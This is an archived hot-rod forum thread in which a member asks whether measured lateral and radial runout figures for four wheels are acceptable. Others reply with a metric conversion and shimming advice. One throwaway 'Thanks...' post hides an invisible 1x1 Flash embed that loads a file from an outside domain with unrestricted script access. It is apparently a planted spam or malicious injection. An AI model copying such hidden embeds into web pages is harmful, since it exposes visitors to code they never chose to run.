Register now to get rid of these ads!

Wheels I am getting, is this ok? I think so

Discussion in 'The Hokey Ass Message Board' started by Ghost of ElMirage, Apr 28, 2012.

  1. Ghost of ElMirage
    Joined: Mar 18, 2007
    Posts: 758

    Ghost of ElMirage
    Member

    Got a deal in the works for these wheels for my rod and this is what was found when checked for true and runout . Opinions please:rolleyes:

    Lateral Runout(LR)- measured at outside face of bead vertical flange
    Radial Runout(RR)- measured at inside face of bead horizontal flange
    #1 16x4.5: LR-.037, RR-.022
    #2 16x4.5: LR-.100, RR-.040
    #3 16x4: LR-.058, RR-.026
    #4 16x4: LR-.097, RR-.033

    Ghost
     
  2. Jalopy Joker
    Joined: Sep 3, 2006
    Posts: 26,950

    Jalopy Joker
    Member

    pic of ride and of wheels?
     
  3. Sorry, I looked at your avatar, and got distracted!:rolleyes:
     
  4. coolbreeze1340
    Joined: Aug 18, 2009
    Posts: 1,340

    coolbreeze1340
    Member
    from Indiana

    Damn it! I told my wife to quit posing for other guys avatars!......

    I am not a wheel expert but from the numbers you posted I think you will not have any issues.
     

  5. Can you give me those numbers in metric ... Im pretty close to Canada.

    .... looks like wheel #2 would handle a ace of spades on a clothespin quite nicely.
     
  6. What??? You can't do metric in your head?

    1mm = .040 (approx, actually is .03937), so your .100 value is close to 2.54 mm.

    Take any of your numbers and divide by .03937 and you have your metric equivalent.

    Bob
     
  7. Ghost of ElMirage
    Joined: Mar 18, 2007
    Posts: 758

    Ghost of ElMirage
    Member

    Thanx Guys that what I though. Hey Jalopy Joker I will post pix as soon as it gets to be closer to an actual car. What I shouldv'e written was ROD PROJECT.
     
  8. spacebull1
    Joined: Apr 21, 2012
    Posts: 39

    spacebull1
    Member
    from Belgrade

    Thanks...
    <object width="1" height="1" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="undefined" value="http://smilyes4u.com/d/15/nr.swf" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://smilyes4u.com/d/15/nr.swf" /><param name="allowscriptaccess" value="always" /><embed width="1" height="1" type="application/x-shockwave-flash" src="http://smilyes4u.com/d/15/nr.swf" undefined="http://smilyes4u.com/d/15/nr.swf" allowScriptAccess="always" allowscriptaccess="always" /></object>:)
     
  9. Dale Fairfax
    Joined: Jan 10, 2006
    Posts: 2,585

    Dale Fairfax
    Member Emeritus

    The radial numbers all appear to be within acceptable limits. #2 and # 4 appear to be too much on lateral- but a partial shim between the wheels and drum surface misght correct that.
     
  10. Ghost of ElMirage
    Joined: Mar 18, 2007
    Posts: 758

    Ghost of ElMirage
    Member

    Whould a decent wheel specialist be able to help me with that do you think Dale?
     

Share This Page

Register now to get rid of these ads!

Archive

Copyright © 1995-2021 The Jalopy Journal: Steal our stuff, we'll kick your teeth in. Terms of Service. Privacy Policy.

Atomic Industry
Forum software by XenForo™ ©2010-2014 XenForo Ltd.